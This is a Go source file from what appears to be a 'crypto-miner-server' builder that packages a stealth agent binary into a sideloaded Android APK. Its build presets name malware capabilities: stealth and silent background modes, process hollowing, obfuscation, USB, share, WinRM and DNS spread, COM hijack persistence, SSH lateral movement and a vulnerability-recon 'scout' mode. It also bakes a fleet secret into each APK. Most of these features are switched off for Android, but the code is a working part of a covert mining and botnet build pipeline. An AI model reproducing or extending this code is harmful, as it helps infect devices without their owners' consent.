Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
360 lines
12 KiB
Go
360 lines
12 KiB
Go
package builder
|
|
|
|
import (
|
|
"context"
|
|
"encoding/json"
|
|
"fmt"
|
|
"log"
|
|
"net/http"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/models"
|
|
|
|
"github.com/google/uuid"
|
|
)
|
|
|
|
// ApkBuildFunc packages the Android APK. Nil uses the default gradle/script path.
|
|
type ApkBuildFunc func(h *Handler, ctx context.Context, androidDir, buildDir string) (apkPath string, err error)
|
|
|
|
// Android-safe LOTL tiers baked into APK fleet nodes (no Windows spread lanes).
|
|
// apkSafeLotlTiers lists the only LOTL tiers that make sense on Android.
|
|
// The "linux" tier includes SSH lateral movement, cron jobs and /etc/hosts
|
|
// writes — none of which are available inside the Android process sandbox.
|
|
// Restricting to vuln_recon prevents silent runtime failures and avoids
|
|
// pointless battery drain from techniques that will never succeed.
|
|
var apkSafeLotlTiers = []string{"vuln_recon"}
|
|
|
|
// ApplyApkScoutPreset enforces roving scout defaults for Android APK builds.
|
|
func ApplyApkScoutPreset(req *BuildRequest) {
|
|
ApplyApkBuildPreset(req)
|
|
req.ScoutMode = true
|
|
req.MiningDisabled = true
|
|
req.LotlOnionEnabled = false
|
|
req.LotlPolicyFromServer = true
|
|
req.LotlOnionTiers = []string{"discover_and_join", "service_graph"}
|
|
if strings.TrimSpace(req.Wallet) == "" {
|
|
req.Wallet = "android-scout-no-pool"
|
|
}
|
|
}
|
|
|
|
// ApplyApkBuildPreset enforces fleet-node defaults for phone/tablet APK builds.
|
|
func ApplyApkBuildPreset(req *BuildRequest) {
|
|
req.ApkMode = true
|
|
req.TargetOS = "android"
|
|
req.TargetArch = "arm64"
|
|
req.FusionEnabled = false
|
|
req.SpreadKit = false
|
|
req.GPUEnabled = false
|
|
req.ProcessHollowing = false
|
|
req.Obfuscate = false
|
|
req.SignBuild = false
|
|
req.MiningDisabled = true
|
|
req.MinerExecution = "inprocess"
|
|
req.Threads = 1
|
|
req.ThreadMode = "fixed"
|
|
req.ThreadPercent = 25
|
|
req.MiningMode = "idle"
|
|
req.MaxCPUUsagePct = 30
|
|
req.StealthMode = true
|
|
req.SilentMode = true
|
|
req.DisplayMode = "background"
|
|
req.FileLogging = false
|
|
req.AutoSpread = false
|
|
req.USBSpread = false
|
|
req.ShareSpread = false
|
|
req.WinRMSpread = false
|
|
req.DnsTxtSpread = false
|
|
req.WebRTCMeshSpread = false
|
|
req.WSUSCachePeerSpread = false
|
|
req.WSUSFormatMimic = false
|
|
req.COMHijackPersist = false
|
|
req.RemoteAggressive = false
|
|
req.LinuxLOTLMode = "off"
|
|
req.LotlOnionEnabled = false
|
|
req.LotlPolicyFromServer = false
|
|
req.LotlOnionTiers = append([]string(nil), apkSafeLotlTiers...)
|
|
if strings.TrimSpace(req.ApkAgentName) == "" {
|
|
req.ApkAgentName = req.WorkerName
|
|
}
|
|
}
|
|
|
|
func (h *Handler) apkAndroidDir() string {
|
|
if h.projectRoot != "" && h.projectRoot != "." {
|
|
return filepath.Join(h.projectRoot, "android")
|
|
}
|
|
return filepath.Join(h.dataDir, "android")
|
|
}
|
|
|
|
func (h *Handler) apkAssetsDir() string {
|
|
return filepath.Join(h.apkAndroidDir(), "agent-app", "src", "main", "assets")
|
|
}
|
|
|
|
// apkMiningConfig mirrors the "mining" object that AgentConfig.kt reads.
|
|
type apkMiningConfig struct {
|
|
Enabled bool `json:"enabled"`
|
|
}
|
|
|
|
// apkAssetConfig is the full config.json written into the APK assets.
|
|
// Every field here is consumed by AgentConfig.kt — adding a field here
|
|
// without a corresponding read in Kotlin is a no-op, but omitting a field
|
|
// that Kotlin reads causes the app to fall back to its hardcoded defaults
|
|
// (e.g. fleet_secret would be nil → agent cannot authenticate to the server).
|
|
type apkAssetConfig struct {
|
|
ServerURL string `json:"server_url"`
|
|
WorkerName string `json:"worker_name"`
|
|
WorkerNumber string `json:"worker_number"`
|
|
FleetSecret string `json:"fleet_secret,omitempty"`
|
|
Mining apkMiningConfig `json:"mining"`
|
|
BuildID string `json:"build_id"`
|
|
}
|
|
|
|
func (h *Handler) writeApkConfigJSON(req *BuildRequest, buildID string) error {
|
|
assetsDir := h.apkAssetsDir()
|
|
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
|
return fmt.Errorf("create apk assets dir: %w", err)
|
|
}
|
|
workerName := strings.TrimSpace(req.ApkAgentName)
|
|
if workerName == "" {
|
|
workerName = strings.TrimSpace(req.WorkerName)
|
|
}
|
|
cfg := apkAssetConfig{
|
|
ServerURL: strings.TrimSpace(req.ServerURL),
|
|
WorkerName: workerName,
|
|
WorkerNumber: workerName,
|
|
FleetSecret: h.fleetSecret, // baked-in fleet auth — without this the agent cannot handshake
|
|
Mining: apkMiningConfig{Enabled: !req.MiningDisabled},
|
|
BuildID: buildID,
|
|
}
|
|
raw, err := json.MarshalIndent(cfg, "", " ")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return os.WriteFile(filepath.Join(assetsDir, "config.json"), raw, 0644)
|
|
}
|
|
|
|
func (h *Handler) copyAgentBinaryToApkAssets(agentBinary string) error {
|
|
assetsDir := h.apkAssetsDir()
|
|
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
|
return fmt.Errorf("create apk assets dir: %w", err)
|
|
}
|
|
dest := filepath.Join(assetsDir, "agent")
|
|
return copyFile(agentBinary, dest)
|
|
}
|
|
|
|
func (h *Handler) defaultApkBuild(ctx context.Context, androidDir, buildDir string) (string, error) {
|
|
script := filepath.Join(androidDir, "build-apk.ps1")
|
|
if runtime.GOOS == "windows" && fileExists(script) {
|
|
cmd := exec.CommandContext(ctx, "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-File", script, "-AndroidDir", androidDir, "-OutputDir", buildDir)
|
|
out, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
if ctx.Err() != nil {
|
|
return "", fmt.Errorf("apk build cancelled")
|
|
}
|
|
return "", fmt.Errorf("build-apk.ps1 failed: %s", strings.TrimSpace(string(out)))
|
|
}
|
|
// The ps1 script uses assembleDebug → aetherforge-agent.apk; fall back
|
|
// to the release name for scripts that override the output filename.
|
|
for _, name := range []string{"aetherforge-agent.apk", "agent-app-debug.apk", "agent-app-release.apk"} {
|
|
apk := filepath.Join(buildDir, name)
|
|
if fileExists(apk) {
|
|
return apk, nil
|
|
}
|
|
}
|
|
return "", fmt.Errorf("build-apk.ps1 did not produce an APK in %s", buildDir)
|
|
}
|
|
|
|
// Use assembleDebug, not assembleRelease.
|
|
// assembleRelease requires a signingConfig keystore — without one Gradle
|
|
// produces an unsigned APK that Android 8+ refuses to install via adb.
|
|
// assembleDebug signs automatically with the Gradle debug keystore, which
|
|
// is sufficient for sideloaded fleet installs and matches build-apk.ps1.
|
|
gradlew := filepath.Join(androidDir, "gradlew")
|
|
if runtime.GOOS == "windows" {
|
|
gradlew = filepath.Join(androidDir, "gradlew.bat")
|
|
}
|
|
if fileExists(gradlew) {
|
|
cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleDebug", "--no-daemon")
|
|
cmd.Dir = androidDir
|
|
out, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
if ctx.Err() != nil {
|
|
return "", fmt.Errorf("apk build cancelled")
|
|
}
|
|
return "", fmt.Errorf("gradle assembleDebug failed: %s", strings.TrimSpace(string(out)))
|
|
}
|
|
candidates := []string{
|
|
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "debug", "agent-app-debug.apk"),
|
|
// legacy names kept for backward compat with older AGP versions
|
|
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "debug", "app-debug.apk"),
|
|
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release-unsigned.apk"),
|
|
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release.apk"),
|
|
}
|
|
for _, c := range candidates {
|
|
if fileExists(c) {
|
|
dest := filepath.Join(buildDir, "agent-app-debug.apk")
|
|
if err := copyFile(c, dest); err != nil {
|
|
return "", err
|
|
}
|
|
return dest, nil
|
|
}
|
|
}
|
|
return "", fmt.Errorf("gradle finished but APK output not found")
|
|
}
|
|
|
|
return "", fmt.Errorf("android build tooling not found — expected %s or gradlew", script)
|
|
}
|
|
|
|
func fileExists(path string) bool {
|
|
_, err := os.Stat(path)
|
|
return err == nil
|
|
}
|
|
|
|
func (h *Handler) invokeApkBuild(ctx context.Context, androidDir, buildDir string) (string, error) {
|
|
if h.apkBuildFn != nil {
|
|
return h.apkBuildFn(h, ctx, androidDir, buildDir)
|
|
}
|
|
return h.defaultApkBuild(ctx, androidDir, buildDir)
|
|
}
|
|
|
|
func apkFileName(req *BuildRequest) string {
|
|
base := sanitizeFileName(req.ApkAgentName)
|
|
if base == "" {
|
|
base = sanitizeFileName(req.WorkerName)
|
|
}
|
|
return "agent-" + base + ".apk"
|
|
}
|
|
|
|
// buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK.
|
|
func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) {
|
|
h.apkBuildMu.Lock()
|
|
defer h.apkBuildMu.Unlock()
|
|
|
|
if req.ScoutMode {
|
|
ApplyApkScoutPreset(req)
|
|
} else {
|
|
ApplyApkBuildPreset(req)
|
|
}
|
|
|
|
buildID := uuid.New().String()
|
|
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
|
agentDir := filepath.Join(buildDir, "agent")
|
|
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
|
|
|
|
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
|
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
|
}
|
|
|
|
h.setProgress(req.CancelToken, "Copying source files", 5)
|
|
if err := h.copyAgentSource(agentDir); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
|
|
platform := BuildPlatform{GOOS: "linux", GOARCH: "arm64", Ext: ""}
|
|
stopCompileProgress := h.tickCompileProgress(ctx, req.CancelToken, "Compiling agent (linux/arm64)", 25, 54, false)
|
|
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, platform, false)
|
|
stopCompileProgress()
|
|
if err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
|
|
if ctx.Err() != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: "apk build cancelled"}, http.StatusInternalServerError, ""
|
|
}
|
|
h.setProgress(req.CancelToken, "Writing Android config", 55)
|
|
if err := h.writeApkConfigJSON(req, buildID); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: "Failed to write apk config.json: " + err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
|
|
if ctx.Err() != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: "apk build cancelled"}, http.StatusInternalServerError, ""
|
|
}
|
|
h.setProgress(req.CancelToken, "Copying agent to APK assets", 65)
|
|
if err := h.copyAgentBinaryToApkAssets(outputPath); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: "Failed to copy agent binary: " + err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
|
|
h.setProgress(req.CancelToken, "Building APK", 80)
|
|
androidDir := h.apkAndroidDir()
|
|
apkPath, err := h.invokeApkBuild(ctx, androidDir, buildDir)
|
|
if err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
|
|
finalName := apkFileName(req)
|
|
finalPath := filepath.Join(buildDir, finalName)
|
|
if apkPath != finalPath {
|
|
if err := copyFile(apkPath, finalPath); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: "Failed to stage APK: " + err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
}
|
|
|
|
fileInfo, err := os.Stat(finalPath)
|
|
if err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: "APK build succeeded but file not found"}, http.StatusInternalServerError, ""
|
|
}
|
|
if err := h.checkBuildSize(fileInfo.Size()); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
|
|
}
|
|
|
|
exportPath := ""
|
|
if h.projectRoot != "" && h.projectRoot != "." {
|
|
exportPath = filepath.Join(h.projectRoot, finalName)
|
|
if err := copyFile(finalPath, exportPath); err != nil {
|
|
log.Printf("[Builder] APK root export: %v", err)
|
|
exportPath = ""
|
|
}
|
|
}
|
|
if exportPath == "" {
|
|
exportPath, _ = filepath.Abs(finalPath)
|
|
}
|
|
|
|
absPath, _ := filepath.Abs(finalPath)
|
|
dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID)
|
|
buildRecord := &models.BuildRecord{
|
|
ID: buildID,
|
|
WorkerName: req.WorkerName,
|
|
ServerURL: req.ServerURL,
|
|
Wallet: req.Wallet,
|
|
Threads: req.Threads,
|
|
FileSize: fileInfo.Size(),
|
|
FilePath: absPath,
|
|
FileName: finalName,
|
|
DownloadURL: dlURL,
|
|
Platform: "android",
|
|
CreatedAt: time.Now(),
|
|
}
|
|
h.setProgress(req.CancelToken, "Saving to database", 99)
|
|
if err := h.db.InsertBuild(buildRecord); err != nil {
|
|
cleanupBuild()
|
|
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
|
|
}
|
|
|
|
h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size())
|
|
|
|
return BuildResponse{
|
|
Success: true,
|
|
BuildID: buildID,
|
|
FileName: finalName,
|
|
FilePath: absPath,
|
|
ArtifactPath: absPath,
|
|
FileSize: fileInfo.Size(),
|
|
DownloadURL: dlURL,
|
|
ExportPath: exportPath,
|
|
}, http.StatusOK, finalPath
|
|
}
|